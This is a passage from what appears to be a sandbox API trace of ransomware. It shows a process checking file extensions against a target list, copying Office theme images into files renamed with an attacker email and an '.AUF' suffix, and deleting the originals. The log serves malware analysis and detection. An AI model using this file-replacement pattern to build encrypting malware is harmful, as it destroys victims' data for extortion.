(lpString=".bz2") returned 4 [0212.437] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.437] lstrlenW (lpString=".7z") returned 3 [0212.437] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.437] lstrlenW (lpString=".dbf") returned 4 [0212.437] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.437] lstrlenW (lpString=".1cd") returned 4 [0212.437] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.437] lstrlenW (lpString=".jpg") returned 4 [0212.437] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.438] lstrlenW (lpString=".doc") returned 4 [0212.438] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0212.438] lstrlenW (lpString=".docx") returned 5 [0212.438] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0212.438] lstrlenW (lpString=".pdf") returned 4 [0212.438] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0212.438] lstrlenW (lpString=".xls") returned 4 [0212.438] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0212.438] lstrlenW (lpString=".xlsx") returned 5 [0212.438] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0212.438] lstrlenW (lpString=".ppt") returned 4 [0212.438] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0212.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.438] lstrlenW (lpString=".zip") returned 4 [0212.438] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0212.438] lstrlenW (lpString=".rar") returned 4 [0212.438] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0212.438] lstrlenW (lpString=".bz2") returned 4 [0212.438] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0212.438] lstrlenW (lpString=".7z") returned 3 [0212.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0212.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.438] lstrlenW (lpString=".dbf") returned 4 [0212.438] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0212.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.438] lstrlenW (lpString=".1cd") returned 4 [0212.438] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0212.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0212.438] lstrlenW (lpString=".jpg") returned 4 [0212.438] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0212.438] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.438] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.736] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=43276) returned 1 [0212.736] CloseHandle (hObject=0x184) returned 1 [0212.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0212.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0212.736] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.736] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.736] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0212.736] GetLastError () returned 0x0 [0212.736] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0212.756] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0212.757] ReadFile (in: hFile=0x184, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.757] WriteFile (in: hFile=0x1f4, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.757] SetEndOfFile (hFile=0x1f4) returned 1 [0212.757] CloseHandle (hObject=0x1f4) returned 1 [0212.757] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.757] SetEndOfFile (hFile=0x184) returned 1 [0212.758] CloseHandle (hObject=0x184) returned 1 [0212.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.759] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0212.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.761] lstrlenW (lpString=".doc") returned 4 [0212.761] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.761] lstrlenW (lpString=".docx") returned 5 [0212.761] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.761] lstrlenW (lpString=".pdf") returned 4 [0212.761] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.761] lstrlenW (lpString=".xls") returned 4 [0212.761] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.761] lstrlenW (lpString=".xlsx") returned 5 [0212.761] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.761] lstrlenW (lpString=".ppt") returned 4 [0212.761] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.761] lstrlenW (lpString=".zip") returned 4 [0212.761] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.761] lstrlenW (lpString=".rar") returned 4 [0212.761] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.761] lstrlenW (lpString=".bz2") returned 4 [0212.761] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.761] lstrlenW (lpString=".7z") returned 3 [0212.761] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.761] lstrlenW (lpString=".dbf") returned 4 [0212.762] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString=".1cd") returned 4 [0212.762] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString=".jpg") returned 4 [0212.762] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString=".doc") returned 4 [0212.762] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString=".docx") returned 5 [0212.762] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.762] lstrlenW (lpString=".pdf") returned 4 [0212.762] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString=".xls") returned 4 [0212.762] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.762] lstrlenW (lpString=".xlsx") returned 5 [0212.762] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.762] lstrlenW (lpString=".ppt") returned 4 [0212.762] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString=".zip") returned 4 [0212.762] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.762] lstrlenW (lpString=".rar") returned 4 [0212.762] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.762] lstrlenW (lpString=".bz2") returned 4 [0212.762] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString=".7z") returned 3 [0212.762] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString=".dbf") returned 4 [0212.762] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString=".1cd") returned 4 [0212.762] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0212.762] lstrlenW (lpString=".jpg") returned 4 [0212.762] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.762] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.762] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0212.765] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=60724) returned 1 [0212.765] CloseHandle (hObject=0x1f4) returned 1 [0212.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0212.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0212.765] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.765] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.765] GetLastError () returned 0x0 [0212.765] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xed34, lpOverlapped=0x0) returned 1 [0212.767] WriteFile (in: hFile=0x1f8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0212.769] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.769] WriteFile (in: hFile=0x1f8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.769] SetEndOfFile (hFile=0x1f8) returned 1 [0212.769] CloseHandle (hObject=0x1f8) returned 1 [0212.769] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.769] SetEndOfFile (hFile=0x1f4) returned 1 [0212.771] CloseHandle (hObject=0x1f4) returned 1 [0212.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0212.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.771] lstrlenW (lpString=".doc") returned 4 [0212.771] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.771] lstrlenW (lpString=".docx") returned 5 [0212.771] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.771] lstrlenW (lpString=".pdf") returned 4 [0212.771] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.771] lstrlenW (lpString=".xls") returned 4 [0212.771] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.771] lstrlenW (lpString=".xlsx") returned 5 [0212.771] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.771] lstrlenW (lpString=".ppt") returned 4 [0212.771] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.771] lstrlenW (lpString=".zip") returned 4 [0212.771] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.771] lstrlenW (lpString=".rar") returned 4 [0212.772] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.772] lstrlenW (lpString=".bz2") returned 4 [0212.772] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.772] lstrlenW (lpString=".7z") returned 3 [0212.772] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.772] lstrlenW (lpString=".dbf") returned 4 [0212.772] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.772] lstrlenW (lpString=".1cd") returned 4 [0212.772] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.772] lstrlenW (lpString=".jpg") returned 4 [0212.772] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.772] lstrlenW (lpString=".doc") returned 4 [0212.772] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.772] lstrlenW (lpString=".docx") returned 5 [0212.772] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.772] lstrlenW (lpString=".pdf") returned 4 [0212.772] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.772] lstrlenW (lpString=".xls") returned 4 [0212.772] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.772] lstrlenW (lpString=".xlsx") returned 5 [0212.772] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.772] lstrlenW (lpString=".ppt") returned 4 [0212.772] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.772] lstrlenW (lpString=".zip") returned 4 [0212.772] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0212.777] lstrlenW (lpString=".rar") returned 4 [0212.777] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0212.779] lstrlenW (lpString=".bz2") returned 4 [0212.779] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0212.779] lstrlenW (lpString=".7z") returned 3 [0212.779] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0212.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.779] lstrlenW (lpString=".dbf") returned 4 [0212.779] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0212.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.779] lstrlenW (lpString=".1cd") returned 4 [0212.779] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0212.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0212.779] lstrlenW (lpString=".jpg") returned 4 [0212.779] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0212.779] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.779] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0212.780] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=18817) returned 1 [0212.780] CloseHandle (hObject=0x1f4) returned 1 [0212.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0212.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0212.780] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.780] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.780] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.780] GetLastError () returned 0x0 [0212.780] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x4981, lpOverlapped=0x0) returned 1 [0212.782] WriteFile (in: hFile=0x1f8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x4990, lpOverlapped=0x0) returned 1 [0212.783] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.788] WriteFile (in: hFile=0x1f8, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.790] SetEndOfFile (hFile=0x1f8) returned 1 [0212.790] CloseHandle (hObject=0x1f8) returned 1 [0212.790] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.790] SetEndOfFile (hFile=0x1f4) returned 1 [0212.791] CloseHandle (hObject=0x1f4) returned 1 [0212.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.791] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0212.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0212.792] lstrlenW (lpString=".doc") returned 4 [0212.792] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString=".docx") returned 5 [0212.792] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0212.792] lstrlenW (lpString=".pdf") returned 4 [0212.792] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0212.792] lstrlenW (lpString=".xls") returned 4 [0212.792] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0212.792] lstrlenW (lpString=".xlsx") returned 5 [0212.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0212.792] lstrlenW (lpString=".ppt") returned 4 [0212.792] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0212.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 